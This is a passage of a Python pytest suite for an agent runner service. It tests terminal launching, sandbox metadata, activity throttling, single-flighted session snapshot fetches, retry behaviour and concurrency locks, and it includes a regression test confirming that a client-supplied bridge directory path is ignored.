the host launch dir. The resolved workspace must be baked into the launched spec (never via ``cwd_override``, which the stub asserts stays ``None``). """ from omnigent.inner.datamodel import ( AgentDef, OSEnvSandboxSpec, OSEnvSpec, TerminalEnvSpec, ) workspace = tmp_path / "workspace" workspace.mkdir() # Declared shell owns its os_env with the placeholder cwd — the # real ``examples/polly`` ``shell`` terminal shape. declared_shell = TerminalEnvSpec( command="bash", os_env=OSEnvSpec( type="caller_process", cwd=".", sandbox=OSEnvSandboxSpec(type="none"), ), ) agent = AgentDef( name="polly-like", os_env=OSEnvSpec( type="caller_process", cwd=".", sandbox=OSEnvSandboxSpec(type="none"), ), terminals={"shell": declared_shell}, ) async def _session_handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"id": "conv_test", "agent_id": "agent_polly"}) async def _resolver(agent_id: str, session_id: str) -> AgentDef: return agent server_client = httpx.AsyncClient( transport=httpx.MockTransport(_session_handler), base_url="http://server", ) resource_registry = _CapturingResourceRegistry(tmp_path, runner_workspace=workspace) app = create_runner_app( resource_registry=resource_registry, server_client=server_client, spec_resolver=_resolver, ) transport = httpx.ASGITransport(app=app) async with ( server_client, httpx.AsyncClient(transport=transport, base_url="http://runner") as c, ): resp = await c.post( "/v1/sessions/conv_test/resources/terminals", json={"terminal": "shell", "session_key": "u-abc123"}, ) assert resp.status_code == 200 launch = resource_registry.launches[0] # Placeholder resolved to the workspace, not "." (the process cwd). assert isinstance(launch.os_env, OSEnvSpec) assert launch.os_env.cwd == str(workspace) # The original declared spec is untouched (shared across launches). assert isinstance(declared_shell.os_env, OSEnvSpec) assert declared_shell.os_env.cwd == "." @pytest.mark.asyncio async def test_create_terminal_publishes_bridge_tmux_target( client: httpx.AsyncClient, tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: """ Claude terminal launch writes tmux attach metadata for web chat injection. The seeded ``bash/s1`` terminal is already running, so this route exercises the bridge-publish branch without spawning tmux. The regression this catches was using a nonexistent registry method: the terminal existed, but the launch request failed with a 500 while trying to write ``tmux.json``. """ monkeypatch.setattr("omnigent.claude_native_bridge._TRUSTED_PARENT", tmp_path) monkeypatch.setattr("omnigent.claude_native_bridge._BRIDGE_ROOT", tmp_path / "claude-native") resp = await client.post( "/v1/sessions/conv_abc/resources/terminals", json={ "terminal": "bash", "session_key": "s1", "spec": { "command": "bash", "os_env_type": "caller_process", }, "bridge_inject_dir": True, }, ) assert resp.status_code == 200 from omnigent.claude_native_bridge import bridge_dir_for_conversation_id derived = bridge_dir_for_conversation_id("conv_abc") payload = json.loads((derived / "tmux.json").read_text(encoding="utf-8")) assert payload["socket_path"] == str(tmp_path / "bash-s1.sock") assert payload["tmux_target"] == "main" @pytest.mark.asyncio async def test_create_terminal_ignores_client_supplied_bridge_path( client: httpx.AsyncClient, tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: """ A client-supplied ``bridge_inject_dir`` path does not redirect the write. Pins the directory-traversal fix: a regression that resurrects ``Path(body["bridge_inject_dir"])`` would let the attacker path below win, and ``tmux.json`` (which carries a live tmux socket) would land under it instead of the session-derived directory. """ monkeypatch.setattr("omnigent.claude_native_bridge._TRUSTED_PARENT", tmp_path) monkeypatch.setattr("omnigent.claude_native_bridge._BRIDGE_ROOT", tmp_path / "claude-native") attacker_path = tmp_path / "attacker-controlled-dir" attacker_path.mkdir() resp = await client.post( "/v1/sessions/conv_abc/resources/terminals", json={ "terminal": "bash", "session_key": "s1", "spec": { "command": "bash", "os_env_type": "caller_process", }, "bridge_inject_dir": str(attacker_path), }, ) assert resp.status_code == 200 assert not (attacker_path / "tmux.json").exists() from omnigent.claude_native_bridge import bridge_dir_for_conversation_id derived = bridge_dir_for_conversation_id("conv_abc") assert (derived / "tmux.json").exists() @pytest.mark.asyncio async def test_list_resources_does_not_materialize_primary_env( tmp_path: Path, ) -> None: """GET /resources must not create the primary OSEnvironment as a side-effect. The listing endpoint is logical/lazy per SESSION_RESOURCES_API_DESIGN.md. After the request, ``_primary_envs`` on the registry must still be empty. """ workspace = tmp_path / "workspace" workspace.mkdir() resource_registry = SessionResourceRegistry(runner_workspace=workspace) app = create_runner_app( resource_registry=resource_registry, server_client=NullServerClient(), # type: ignore[arg-type] ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp = await c.get("/v1/sessions/conv_lazy/resources?order=asc") assert resp.status_code == 200 # The primary OSEnvironment must NOT have been materialized. assert resource_registry._primary_envs == {} # --------------------------------------------------------------------------- # Environment share-safety metadata # --------------------------------------------------------------------------- @pytest.mark.parametrize( "sandbox_spec,expected_type,expected_active", [ (None, "none", False), (OSEnvSandboxSpec(type="none"), "none", False), (OSEnvSandboxSpec(type="linux_bwrap"), "linux_bwrap", True), (OSEnvSandboxSpec(type="darwin_seatbelt"), "darwin_seatbelt", True), ], ids=["no_sandbox", "type_none", "bwrap", "seatbelt"], ) def test_environment_safety_metadata_reflects_sandbox( sandbox_spec: OSEnvSandboxSpec | None, expected_type: str, expected_active: bool, ) -> None: """``sandbox_active`` is True only when a real sandbox backend confines the env.""" spec = OSEnvSpec(type="caller_process", cwd="/ws", sandbox=sandbox_spec) meta = environment_safety_metadata(spec) assert meta["sandbox_type"] == expected_type assert meta["sandbox_active"] is expected_active assert meta["environment_type"] == "caller_process" def test_environment_safety_metadata_preserves_non_caller_process_type() -> None: spec = OSEnvSpec( type="lakebox", cwd="/workspace", sandbox=OSEnvSandboxSpec(type="none"), ) meta = environment_safety_metadata(spec) assert meta["environment_type"] == "lakebox" assert meta["sandbox_type"] == "none" assert meta["sandbox_active"] is False def test_environment_safety_metadata_none_spec_is_empty() -> None: """A ``None`` spec yields ``{}`` so the legacy projection is preserved.""" assert environment_safety_metadata(None) == {} def test_default_environment_resource_merges_safety_metadata() -> None: """A resolved spec adds sandbox fields while keeping ``role: primary``.""" spec = OSEnvSpec( type="caller_process", cwd="/ws", sandbox=OSEnvSandboxSpec(type="linux_bwrap"), ) resource = default_environment_resource("conv_x", spec) assert resource.metadata["role"] == "primary" assert resource.metadata["sandbox_type"] == "linux_bwrap" assert resource.metadata["sandbox_active"] is True def test_default_environment_resource_without_spec_is_legacy_shape() -> None: """Without a spec the resource keeps the exact legacy metadata (backward compat).""" resource = default_environment_resource("conv_x") assert resource.metadata == { "environment_type": "caller_process", "role": "primary", } @pytest.mark.asyncio async def test_list_resources_primary_env_carries_sandbox_metadata( tmp_path: Path, ) -> None: """list_resources threads the agent spec's sandbox onto the primary env resource.""" workspace = tmp_path / "workspace" workspace.mkdir() registry = SessionResourceRegistry(runner_workspace=workspace) agent_spec = SimpleNamespace( os_env=OSEnvSpec( type="caller_process", cwd=str(workspace), sandbox=OSEnvSandboxSpec(type="linux_bwrap"), ), ) page = registry.list_resources("conv_sandbox", agent_spec=agent_spec) primary = next(r for r in page.data if r.id == DEFAULT_ENVIRONMENT_ID) assert primary.metadata["sandbox_type"] == "linux_bwrap" assert primary.metadata["sandbox_active"] is True @dataclass class _StatusEdge: """One session-status edge captured from the status publisher. :param session_id: Session id the edge was published for, e.g. ``"conv_x"``. :param status: The published working status, ``"running"`` or ``"idle"``. """ session_id: str status: str @dataclass class _WatcherCapture: """Records the callbacks the registry wires onto a terminal's watcher. Stands in for the real daemon thread so the test can invoke the activity/idle edges synchronously instead of polling tmux. :param started: Whether ``start_idle_watcher_thread`` was called. :param on_activity: The activity-edge callback the registry passed, or ``None`` if none was wired. :param on_idle: The idle-edge callback the registry passed, or ``None`` if none was wired. :param on_exit: The exit callback the registry passed, or ``None`` if none was wired. :param idle_threshold_s: The per-watcher idle threshold the registry passed, or ``None`` for the module default. :param poll_interval_s: The per-watcher poll interval the registry passed, or ``None`` for the module default. """ started: bool = False on_activity: Callable[[], None] | None = None on_idle: Callable[[], None] | None = None on_exit: Callable[[], None] | None = None idle_threshold_s: float | None = None poll_interval_s: float | None = None replace: bool = False def _make_capturing_instance( tmp_path: Path, capture: _WatcherCapture, *, name: str, session_key: str, ) -> TerminalInstance: """Build a terminal instance whose watcher start is captured, not run. Shadows :meth:`TerminalInstance.start_idle_watcher_thread` on the instance with a recorder so the test can drive the activity/idle edges by hand and assert what the registry wired — without spawning the real tmux-polling daemon thread. :param tmp_path: Temporary directory for the instance's placeholder socket/dir paths. :param capture: Recorder the shadow method writes the wired callbacks and threshold into. :param name: Terminal name, e.g. ``"claude"``. :param session_key: Per-launch session key, e.g. ``"main"``. :returns: The instance with a capturing ``start_idle_watcher_thread``. """ instance = make_test_terminal_instance(name, session_key, tmp_path) def _capture( on_idle: Callable[[], None] | None = None, *, on_activity: Callable[[], None] | None = None, on_exit: Callable[[], None] | None = None, idle_threshold_s: float | None = None, poll_interval_s: float | None = None, replace: bool = False, ) -> None: capture.started = True capture.on_idle = on_idle capture.on_activity = on_activity capture.on_exit = on_exit capture.idle_threshold_s = idle_threshold_s capture.poll_interval_s = poll_interval_s capture.replace = replace # Instance attribute shadows the bound method, so the registry's call # lands on the recorder (no real daemon thread / tmux poll). instance.start_idle_watcher_thread = _capture # type: ignore[method-assign] return instance class _LaunchReturningRegistry: """Terminal-registry stub whose ``launch`` returns a fixed instance. The real terminal launch helpers only call ``launch`` on its terminal registry; returning a prepared instance lets the test exercise the real ``_start_terminal_activity_watcher`` wiring without spawning a terminal. :param instance: The instance every ``launch`` returns. """ def __init__(self, instance: TerminalInstance) -> None: self._instance = instance async def launch( self, *, conversation_id: str, terminal_name: str, session_key: str, spec: TerminalEnvSpec, parent_os_env: Any | None = None, cwd_override: str | None = None, sandbox_override: str | None = None, ) -> TerminalInstance: """Return the fixed instance, ignoring the launch spec. :param conversation_id: Session/conversation id (unused). :param terminal_name: Terminal name (unused). :param session_key: Per-launch key (unused). :param spec: Terminal env spec (unused). :param parent_os_env: Agent os_env (unused). :param cwd_override: cwd override (unused). :param sandbox_override: sandbox override (unused). :returns: The prepared terminal instance. """ del ( conversation_id, terminal_name, session_key, spec, parent_os_env, cwd_override, sandbox_override, ) return self._instance def _claude_terminal_spec(tmp_path: Path) -> TerminalEnvSpec: """Build a minimal terminal spec for the status-wiring tests. The launch spec is ignored by :class:`_LaunchReturningRegistry`, so only its construction needs to be valid. :param tmp_path: Directory used as the terminal cwd. :returns: A minimal :class:`TerminalEnvSpec`. """ return TerminalEnvSpec( os_env=OSEnvSpec( type="caller_process", cwd=str(tmp_path), sandbox=OSEnvSandboxSpec(type="none"), ), command="claude", ) @pytest.mark.asyncio async def test_claude_native_terminal_drives_session_status_from_pane_activity( tmp_path: Path, ) -> None: """The claude-native agent terminal's pane edges drive session status. Launching with ``CLAUDE_NATIVE_TERMINAL_ROLE`` must wire the idle edge (with the short claude-native status threshold) and translate pane activity → ``running`` / quiescence → ``idle``, deduped to the transition so a continuously-redrawing pane doesn't spam ``running``. This is the PTY-activity-derived status that replaces the hook-based ``UserPromptSubmit``/``Stop`` bracketing. """ capture = _WatcherCapture() instance = _make_capturing_instance(tmp_path, capture, name="claude", session_key="main") registry = SessionResourceRegistry(terminal_registry=_LaunchReturningRegistry(instance)) status_edges: list[_StatusEdge] = [] registry.set_terminal_activity_publisher(lambda _sid, _tid: None) registry.set_session_status_publisher( lambda sid, status: status_edges.append(_StatusEdge(session_id=sid, status=status)) ) await registry.launch_required_terminal( session_id="conv_x", terminal_name="claude", session_key="main", spec=_claude_terminal_spec(tmp_path), resource_role=CLAUDE_NATIVE_TERMINAL_ROLE, ) # The agent terminal wires the idle edge with the short status # threshold and the fast (200ms) poll interval; absence here would mean # status never flips to idle (the regression the hook-based path # suffered on interrupts) or transitions lag at the 1s default. assert capture.started is True assert capture.on_idle is not None assert capture.on_activity is not None assert capture.idle_threshold_s == _CLAUDE_NATIVE_STATUS_IDLE_THRESHOLD_SECONDS assert capture.poll_interval_s == _CLAUDE_NATIVE_STATUS_POLL_INTERVAL_SECONDS # Two pane changes in one working stretch must yield exactly one # ``running`` edge — the dedupe holds. A second ``running`` here would # mean the idle→running edge isn't being coalesced. capture.on_activity() capture.on_activity() await asyncio.sleep(0) # let the call_soon_threadsafe publishes run assert [e.status for e in status_edges] == ["running"] # Quiescence → idle, and a repeat idle tick must not re-emit. A second # ``idle`` would mean the edge isn't deduped. capture.on_idle() capture.on_idle() await asyncio.sleep(0) assert [e.status for e in status_edges] == ["running", "idle"] # New pane output after idle re-arms ``running`` — this is the case # the hook path missed (e.g. compaction resume / typing after a turn). capture.on_activity() await asyncio.sleep(0) assert [e.status for e in status_edges] == ["running", "idle", "running"] # Every edge was published for the launching session, never a stray id. assert all(e.session_id == "conv_x" for e in status_edges) @pytest.mark.asyncio async def test_generic_terminal_does_not_drive_session_status( tmp_path: Path, ) -> None: """A non-agent terminal's pane activity must not move session status. A side shell (no ``CLAUDE_NATIVE_TERMINAL_ROLE``) still drives the terminal-activity badge, but its output must never flip the session's working status — otherwise typing in an unrelated terminal would show the agent as "running". """ capture = _WatcherCapture() instance = _make_capturing_instance(tmp_path, capture, name="zsh", session_key="s1") registry = SessionResourceRegistry(terminal_registry=_LaunchReturningRegistry(instance)) status_edges: list[_StatusEdge] = [] activity_pulses: list[str] = [] registry.set_terminal_activity_publisher(lambda _sid, tid: activity_pulses.append(tid)) registry.set_session_status_publisher( lambda sid, status: status_edges.append(_StatusEdge(session_id=sid, status=status)) ) await registry.launch_auxiliary_terminal( session_id="conv_y", terminal_name="zsh", session_key="s1", spec=_claude_terminal_spec(tmp_path), # No resource_role → generic terminal. ) # Generic terminals get the activity badge but NOT the idle→status # wiring, and keep the module defaults (not the claude threshold or the # fast poll interval). assert capture.started is True assert capture.on_activity is not None assert capture.on_idle is None assert capture.idle_threshold_s is None assert capture.poll_interval_s is None capture.on_activity() await asyncio.sleep(0) # Badge still pulses once for the side shell... assert len(activity_pulses) == 1 # ...but session status is never touched by a non-agent terminal. assert status_edges == [] @pytest.mark.asyncio async def test_terminal_activity_pulses_throttled_to_one_per_second( tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: """Activity emission is throttled to one pulse per second per terminal. The claude-native pane watcher polls every 200ms and Claude redraws its busy line on nearly every poll, so ``_on_activity`` fires ~5x/sec while a turn runs. Without throttling that would push ~5 ``session.terminal.activity`` events/second; the watcher must coalesce them to at most one per :data:`_TERMINAL_ACTIVITY_EMIT_MIN_INTERVAL_SECONDS`. A fresh idle edge resets the throttle so the next working episode pulses immediately rather than lagging up to a second behind the running-status edge. A fake monotonic clock makes the throttle window deterministic — the real watcher's 200ms poll spacing is replaced by hand-advanced time so we drive the exact sub-second / cross-second boundaries. :param tmp_path: Temporary directory for the terminal instance. :param monkeypatch: Patches the module-local ``_monotonic`` indirection so the throttle reads a controllable clock (never the wall clock). """ clock = {"now": 1000.0} # Patch the module-local indirection, not time.monotonic itself, so the # fake clock can't bleed into other threads/tests (per testing rule 14). monkeypatch.setattr(resource_registry_mod, "_monotonic", lambda: clock["now"]) capture = _WatcherCapture() instance = _make_capturing_instance(tmp_path, capture, name="claude", session_key="main") registry = SessionResourceRegistry(terminal_registry=_LaunchReturningRegistry(instance)) activity_pulses: list[str] = [] registry.set_terminal_activity_publisher(lambda _sid, tid: activity_pulses.append(tid)) # The idle-reset behaviour is only wired for the claude-native role, so # the status publisher must be installed to exercise on_idle. registry.set_session_status_publisher(lambda _sid, _status: None) await registry.launch_required_terminal( session_id="conv_throttle", terminal_name="claude", session_key="main", spec=_claude_terminal_spec(tmp_path), resource_role=CLAUDE_NATIVE_TERMINAL_ROLE, ) assert capture.on_activity is not None assert capture.on_idle is not None # Three pane changes inside one poll-spaced instant (clock frozen) → # exactly one pulse. Without the throttle each changed tick emits, so a # count of 3 here would mean the per-second coalescing was dropped. capture.on_activity() capture.on_activity() capture.on_activity() await asyncio.sleep(0) # let the call_soon_threadsafe publish run assert len(activity_pulses) == 1, ( f"Expected 1 throttled pulse for 3 same-instant ticks, got " f"{len(activity_pulses)}. >1 means the activity emit is not " f"coalesced and fires on every pane-changed tick." ) # Still inside the throttle window (advance < the min interval) → no new # pulse. A 2nd pulse here would mean the window is too short / ignored. clock["now"] += _TERMINAL_ACTIVITY_EMIT_MIN_INTERVAL_SECONDS / 2 capture.on_activity() await asyncio.sleep(0) assert len(activity_pulses) == 1, ( "A pulse fired inside the throttle window — the min-interval guard is not being applied." ) # Cross the throttle boundary → the next changed tick emits again. If # this stays at 1 the throttle never re-opens and the badge would go # dark mid-turn. clock["now"] += _TERMINAL_ACTIVITY_EMIT_MIN_INTERVAL_SECONDS capture.on_activity() await asyncio.sleep(0) assert len(activity_pulses) == 2, ( f"Expected a 2nd pulse after crossing the throttle window, got " f"{len(activity_pulses)}. Still 1 means the window never re-opens." ) # An idle edge resets the throttle: the next working episode pulses # immediately even though we're still inside the window relative to the # last emit. Without the reset this on_activity would be throttled and # the count would stay at 2. capture.on_idle() clock["now"] += _TERMINAL_ACTIVITY_EMIT_MIN_INTERVAL_SECONDS / 4 capture.on_activity() await asyncio.sleep(0) assert len(activity_pulses) == 3, ( f"Expected an immediate pulse after an idle reset, got " f"{len(activity_pulses)}. Still 2 means on_idle did not clear the " f"activity throttle, so a new episode lags behind the status edge." ) # Every pulse carried this terminal's resource id, never a stray one. assert set(activity_pulses) == {"terminal_claude_main"} @pytest.mark.asyncio async def test_concurrent_resource_reads_share_one_session_snapshot( tmp_path: Path, ) -> None: """A startup burst of concurrent resource reads resolves the session's spec through one ``GET /v1/sessions/{id}`` and one bundle resolution, instead of each request stampeding the Omnigent server. Reproduces the observed runner-startup burst: dozens of paired ``GET /sessions/{id}`` + ``agent/contents`` requests in one second. The runner now funnels ``created_at`` / ``workspace`` / ``agent_id`` through a single-flighted snapshot loader, and ``_resolve_session_ spec_entry`` is single-flighted too, so concurrent readers share one resolution. Determinism: request A is confirmed parked inside the (blocked) snapshot fetch — holding the per-session spec + snapshot locks — before the followers are created. A holds the spec lock continuously from before the followers exist until after it writes the cache, so no follower can acquire the lock with an empty cache; each must reuse A's result. :param tmp_path: Temporary runner workspace root. :returns: None. """ conv = "conv_burst" agent_id = "ag_burst" workspace = tmp_path / "workspace" workspace.mkdir() snapshot_count = 0 snapshot_started = asyncio.Event() release = asyncio.Event() async def _server_handler(request: httpx.Request) -> httpx.Response: """ Stub Omnigent server that blocks + counts the session snapshot fetch. :param request: Outbound request from the runner. :returns: The session snapshot (after release) for the session GET; benign payloads otherwise. """ nonlocal snapshot_count if request.method == "GET" and request.url.path == f"/v1/sessions/{conv}": snapshot_count += 1 snapshot_started.set() await release.wait() return httpx.Response( 200, json={"id": conv, "agent_id": agent_id, "workspace": str(workspace)}, ) return httpx.Response(200, json={}) resolver_count = 0 async def _spec_resolver(resolved_agent_id: str, session_id: str | None = None) -> AgentSpec: """ Count bundle resolutions (the ``agent/contents`` dedup target). :param resolved_agent_id: Agent id read from the shared snapshot; MUST equal ``agent_id`` or the snapshot projection is wrong. :param session_id: Session id (unused). :returns: A minimal spec. """ nonlocal resolver_count resolver_count += 1 # The agent_id can only have come from the shared snapshot. assert resolved_agent_id == agent_id return AgentSpec( spec_version=1, name="burst-agent", executor=ExecutorSpec(type="omnigent", config={"harness": "runner-test-default"}), ) server_client = httpx.AsyncClient( transport=httpx.MockTransport(_server_handler), base_url="http://server", ) app = create_runner_app( runner_workspace=workspace, spec_resolver=_spec_resolver, server_client=server_client, ) try: transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: first = asyncio.create_task(c.get(f"/v1/sessions/{conv}/resources")) # A is now parked inside the blocked snapshot fetch, holding # both per-session locks. await asyncio.wait_for(snapshot_started.wait(), timeout=5.0) followers = [ asyncio.create_task(c.get(f"/v1/sessions/{conv}/resources")) for _ in range(8) ] release.set() responses = await asyncio.gather(first, *followers) finally: await server_client.aclose() # Every concurrent read succeeded — the shared resolution is correct # under contention, not merely rare. assert all(r.status_code == 200 for r in responses) # The 9 concurrent reads hit the server snapshot exactly once. Without # single-flight on the snapshot loader, each request that missed the # empty cache would issue its own GET (the observed burst → 9 here). assert snapshot_count == 1, ( f"expected one shared snapshot GET, got {snapshot_count}; >1 means " f"concurrent readers stampeded the cache instead of sharing one fetch" ) # The bundle resolved once too. >1 means _resolve_session_spec_entry is # not single-flighted and each caller re-fetched agent/contents. assert resolver_count == 1, ( f"expected one shared bundle resolution, got {resolver_count}; >1 " f"means the spec stampede (the agent/contents half) is not deduped" ) @pytest.mark.asyncio async def test_failed_session_snapshot_is_not_cached_and_retries( tmp_path: Path, ) -> None: """A transient non-200 snapshot is not memoized: a later read refetches and resolves once the session is reachable. Guards the retry-until-bound path — the agent may bind to the session after the runner first looks. If the failed snapshot were negatively cached, spec resolution would raise forever and the session could never recover. :param tmp_path: Temporary runner workspace root. :returns: None. """ conv = "conv_retry" agent_id = "ag_retry" workspace = tmp_path / "workspace" workspace.mkdir() snapshot_count = 0 resolver_count = 0 async def _server_handler(request: httpx.Request) -> httpx.Response: """ Stub Omnigent server: fail the first snapshot, succeed afterward. :param request: Outbound request from the runner. :returns: 503 on the first session GET, then the real snapshot. """ nonlocal snapshot_count if request.method == "GET" and request.url.path == f"/v1/sessions/{conv}": snapshot_count += 1 if snapshot_count == 1: return httpx.Response(503, json={}) return httpx.Response( 200, json={"id": conv, "agent_id": agent_id, "workspace": str(workspace)}, ) return httpx.Response(200, json={}) async def _spec_resolver(resolved_agent_id: str, session_id: str | None = None) -> AgentSpec: """ Resolve a minimal spec, counting how often it runs. :param resolved_agent_id: Agent id from the snapshot (unused beyond the count). :param session_id: Session id (unused). :returns: A minimal spec. """ nonlocal resolver_count resolver_count += 1 return AgentSpec( spec_version=1, name="retry-agent", executor=ExecutorSpec(type="omnigent", config={"harness": "runner-test-default"}), ) server_client = httpx.AsyncClient( transport=httpx.MockTransport(_server_handler), base_url="http://server", ) app = create_runner_app( runner_workspace=workspace, spec_resolver=_spec_resolver, server_client=server_client, ) try: transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: first = await c.get(f"/v1/sessions/{conv}/resources") second = await c.get(f"/v1/sessions/{conv}/resources") finally: await server_client.aclose() # First read hit the 503 snapshot → spec resolution raised # OmnigentError → the endpoint returned a non-200 error response. assert first.status_code != 200 # Second read refetched the (now 200) snapshot and resolved → 200. assert second.status_code == 200 # snapshot_count == 2 proves the 503 was NOT negatively cached; 1 would # mean the failed snapshot stuck and the session could never recover. assert snapshot_count == 2, ( f"expected a refetch after the transient 503, got {snapshot_count} snapshot fetch(es)" ) # The bundle resolved only on the successful attempt. assert resolver_count == 1, ( f"expected one bundle resolution (success only), got {resolver_count}" ) @pytest.mark.asyncio async def test_unbound_agent_snapshot_is_not_cached_and_retries( tmp_path: Path, ) -> None: """A 200 snapshot whose ``agent_id`` is still null is not memoized: a later read refetches and resolves once the agent binds. This is the harder retry-until-bound case than the non-200 one — the session GET succeeds (HTTP 200) before the agent binds, so the snapshot is "ok" but incomplete. If it were cached on ``ok`` alone, the stale ``agent_id=None`` would latch and spec resolution would raise ``NOT_FOUND`` forever, because the snapshot cache never refreshes on server-side binding. :param tmp_path: Temporary runner workspace root. :returns: None. """ conv = "conv_unbound" agent_id = "ag_late_bind" workspace = tmp_path / "workspace" workspace.mkdir() snapshot_count = 0 resolver_count = 0 async def _server_handler(request: httpx.Request) -> httpx.Response: """ Stub Omnigent server: 200 with no agent_id first, then the bound one. :param request: Outbound request from the runner. :returns: A 200 snapshot lacking ``agent_id`` on the first session GET, then one carrying ``agent_id``. """ nonlocal snapshot_count if request.method == "GET" and request.url.path == f"/v1/sessions/{conv}": snapshot_count += 1 if snapshot_count == 1: # Session exists, agent not bound yet (agent_id null). return httpx.Response(200, json={"id": conv, "workspace": str(workspace)}) return httpx.Response( 200, json={"id": conv, "agent_id": agent_id, "workspace": str(workspace)}, ) return httpx.Response(200, json={}) async def _spec_resolver(resolved_agent_id: str, session_id: str | None = None) -> AgentSpec: """ Resolve a minimal spec, counting how often it runs. :param resolved_agent_id: Agent id from the snapshot; only the bound value can reach here. :param session_id: Session id (unused). :returns: A minimal spec. """ nonlocal resolver_count resolver_count += 1 assert resolved_agent_id == agent_id return AgentSpec( spec_version=1, name="late-bind-agent", executor=ExecutorSpec(type="omnigent", config={"harness": "runner-test-default"}), ) server_client = httpx.AsyncClient( transport=httpx.MockTransport(_server_handler), base_url="http://server", ) app = create_runner_app( runner_workspace=workspace, spec_resolver=_spec_resolver, server_client=server_client, ) try: transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: first = await c.get(f"/v1/sessions/{conv}/resources") second = await c.get(f"/v1/sessions/{conv}/resources") finally: await server_client.aclose() # First read saw the unbound (agent_id null) snapshot → spec # resolution raised NOT_FOUND → non-200 error response. assert first.status_code != 200 # Second read refetched the now-bound snapshot and resolved → 200. assert second.status_code == 200 # snapshot_count == 2 proves the unbound 200 was NOT cached; 1 would # mean agent_id=None latched and the session could never bind. assert snapshot_count == 2, ( f"expected a refetch after the unbound snapshot, got {snapshot_count} " f"snapshot fetch(es); 1 means the agent_id=None snapshot was cached " f"and retry-until-bound is broken" ) # The bundle resolved only once the agent had bound. assert resolver_count == 1, ( f"expected one bundle resolution (after binding), got {resolver_count}" ) @pytest.mark.asyncio async def test_claude_terminal_ensure_concurrent_calls_create_once( tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: """Concurrent ensure_native_terminal requests create the Claude terminal exactly once. The ``_ensure_native_terminal_ready`` path from the AP server fires ``POST /v1/sessions/{id}/resources/terminals?ensure_native_terminal=True`` every time a user message arrives on a cold claude-native session. A concurrent ``_on_runner_connect`` callback fires a ``POST /v1/sessions`` that also calls ``_auto_create_claude_terminal`` under ``_claude_terminal_ensure_locks``. Without the per-session lock on the terminals endpoint, both requests pass the "no terminal yet" check simultaneously and both call ``_auto_create_claude_terminal`` — spawning two forwarders that double-persist every transcript item (the double-bubble bug). The fix wraps the terminals-endpoint check-and-create in the same ``_claude_terminal_ensure_locks`` key as the sessions path, so the second request waits, then finds the terminal already registered and returns early without a second create. Proof strategy: * The fake ``_auto_create_claude_terminal`` blocks on an asyncio.Event while holding the lock, giving a deterministic window for the second request to arrive. * Both requests fire concurrently; the first holds the lock while the second waits. * After the first completes and registers the fake terminal view, the second acquires the lock, finds the terminal, and returns early. * ``create_count == 1`` proves the second request took the early-return path; ``2`` would mean the lock is absent and both requests created a terminal (the pre-fix bug). :param tmp_path: Temp directory (not used by the terminal stub but required by the fixture signature). :param monkeypatch: Pytest monkeypatch fixture. :returns: None. """ session_id = f"conv_{uuid.uuid4().hex[:12]}" # Fake terminal view returned by _auto_create_claude_terminal and later # by get_terminal_resource once the first create completes. fake_view = SessionResourceView( id=terminal_resource_id("claude", "main"), type="terminal", session_id=session_id, name="Claude", ) # Concurrency gate: the fake create blocks until released, keeping the # per-session lock held so the second request has time to arrive. first_call_started = asyncio.Event() first_call_released = asyncio.Event() create_count = 0 terminal_ready = False # set by fake create so get_terminal_resource sees it async def fake_auto_create( s_id: str, reg: Any, pub: Any, **kwargs: Any, ) -> SessionResourceView: """Stub that signals entry, blocks until released, then marks the terminal ready. :param s_id: Session id from the caller. :param reg: Resource registry (unused in stub). :param pub: Publish-event callback (unused in stub). :param kwargs: Extra keyword arguments (ignored). :returns: The fake terminal view. """ nonlocal create_count, terminal_ready create_count += 1 first_call_started.set() await first_call_released.wait() terminal_ready = True return fake_view monkeypatch.setattr("omnigent.runner.app._auto_create_claude_terminal", fake_auto_create) async def fake_get_terminal_resource( self: Any, s_id: str, t_id: str, ) -> SessionResourceView | None: """Return the fake view once the first create has completed, else None. :param self: SessionResourceRegistry instance (unused). :param s_id: Session id (unused). :param t_id: Terminal resource id (unused). :returns: The fake view when ``terminal_ready`` is True, else ``None``. """ del self, s_id, t_id if terminal_ready: return fake_view return None monkeypatch.setattr( SessionResourceRegistry, "get_terminal_resource", fake_get_terminal_resource, ) app = create_runner_app(server_client=NullServerClient()) # type: ignore[arg-type] transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as client: ensure_body = { "terminal": "claude", "session_key": "main", "ensure_native_terminal": True, } # Start request 1: enters the lock, calls fake_auto_create (blocks on # first_call_released), which holds the lock. task1 = asyncio.create_task( client.post( f"/v1/sessions/{session_id}/resources/terminals", json=ensure_body, ) ) # Yield to the event loop so task1 runs until it blocks inside the lock. await first_call_started.wait() # Start request 2: tries to acquire the same per-session lock, blocks # because task1 holds it. task2 = asyncio.create_task( client.post( f"/v1/sessions/{session_id}/resources/terminals", json=ensure_body, ) ) # Give task2 a chance to reach the lock and suspend there. await asyncio.sleep(0.02) # Release task1: it sets terminal_ready=True and exits the lock. Task2 # then acquires the lock, sees get_terminal_resource return the fake view, # and returns the existing terminal without calling _auto_create_claude_terminal. first_call_released.set() resp1, resp2 = await asyncio.gather(task1, task2) assert resp1.status_code == 200, f"Request 1 failed: {resp1.status_code} {resp1.text}" assert resp2.status_code == 200, f"Request 2 failed: {resp2.status_code} {resp2.text}" # _auto_create_claude_terminal must be called exactly once. # If 2: the per-session lock on the terminals endpoint is absent — both # concurrent requests passed the "no terminal" check and both spawned a # Claude terminal, reproducing the double-forwarder / double-bubble bug. assert create_count == 1, ( f"Expected _auto_create_claude_terminal to be called once, got {create_count}. " "A value of 2 means both concurrent ensure requests spawned a Claude terminal " "(the pre-fix double-forwarder race)." )